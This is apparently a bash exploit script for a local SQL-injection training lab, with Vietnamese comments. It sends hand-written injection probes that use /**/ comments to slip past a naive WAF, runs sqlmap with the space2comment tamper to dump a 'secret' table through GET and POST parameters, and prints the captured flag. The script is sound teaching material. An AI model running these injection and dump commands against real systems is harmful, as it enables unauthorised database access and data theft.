#!/usr/bin/env bash
# Exploit lab 2.3 - sqlmap + vuot WAF. Can sqlmap trong PATH.
# Dung: PORT=8023 bash exploit.sh
# (Output sqlmap rat dai nen o day loc bang grep cho de doc; chay tay khong grep
#  de xem day du.)
set -u
PORT="${PORT:-8023}"
BASE="http://127.0.0.1:${PORT}"
OUT="$(mktemp -d)"

echo "############################################################"
echo "# 0. WAF ngay tho: chan khoang trang trong query string"
echo "############################################################"
echo -n "id=1 (binh thuong)      : "; curl -s "$BASE/product?id=1" | tr -d '\n'; echo
echo -n "id=1 AND 1=1 (co space) : "; curl -s -G "$BASE/product" --data-urlencode "id=1 AND 1=1"
echo -n "id=1/**/AND/**/1=1       : "; curl -s "$BASE/product?id=1/**/AND/**/1=1" | tr -d '\n'; echo
echo -n "id=1/**/AND/**/1=2       : "; curl -s "$BASE/product?id=1/**/AND/**/1=2"

echo
echo "############################################################"
echo "# A. sqlmap KHONG tamper -> bi WAF chan, bao khong injectable"
echo "############################################################"
sqlmap -u "$BASE/product?id=1" --batch --flush-session \
  --technique=B --level=1 --risk=1 --dbms=sqlite --output-dir="$OUT/a" 2>&1 \
  | grep -E "WAF/IPS|does not seem|all tested|tamper=space2comment|403 \(Forbidden\)" | head -10

echo
echo "############################################################"
echo "# B. sqlmap --tamper=space2comment -> tim ra + dump bang secret"
echo "############################################################"
sqlmap -u "$BASE/product?id=1" --tamper=space2comment --batch --flush-session \
  --level=2 --risk=2 --technique=BU --dbms=sqlite --dump -T secret \
  --output-dir="$OUT/b" 2>&1 \
  | grep -E "WAF/IPS|is 'AND boolean|appears to have [0-9]+ columns|is vulnerable|Type:|Payload: id=|Table:|WEB\{|co mat|\[1 entry\]|\| id" | head -25

echo
echo "############################################################"
echo "# C. sqlmap --tables (liet ke bang)"
echo "############################################################"
sqlmap -u "$BASE/product?id=1" --tamper=space2comment --batch \
  --dbms=sqlite --tables --output-dir="$OUT/b" 2>&1 \
  | grep -E "fetching tables|products|secret|SQLite_masterdb" | head -10

echo
echo "############################################################"
echo "# D. sqlmap --data (injection qua POST, tham so code)"
echo "############################################################"
sqlmap -u "$BASE/api/find" --data="code=kb01" --batch --flush-session \
  --level=2 --risk=2 --technique=BU --dbms=sqlite --dump -T secret \
  --output-dir="$OUT/d" 2>&1 \
  | grep -E "POST parameter 'code'.*injectable|is vulnerable|Type:|Payload: code=|Table:|WEB\{|\[1 entry\]|\| id" | head -20

rm -rf "$OUT"
echo
echo "# Xong. FLAG lay duoc: WEB{sqlmap_tamper_space2comment_bypass_waf}"
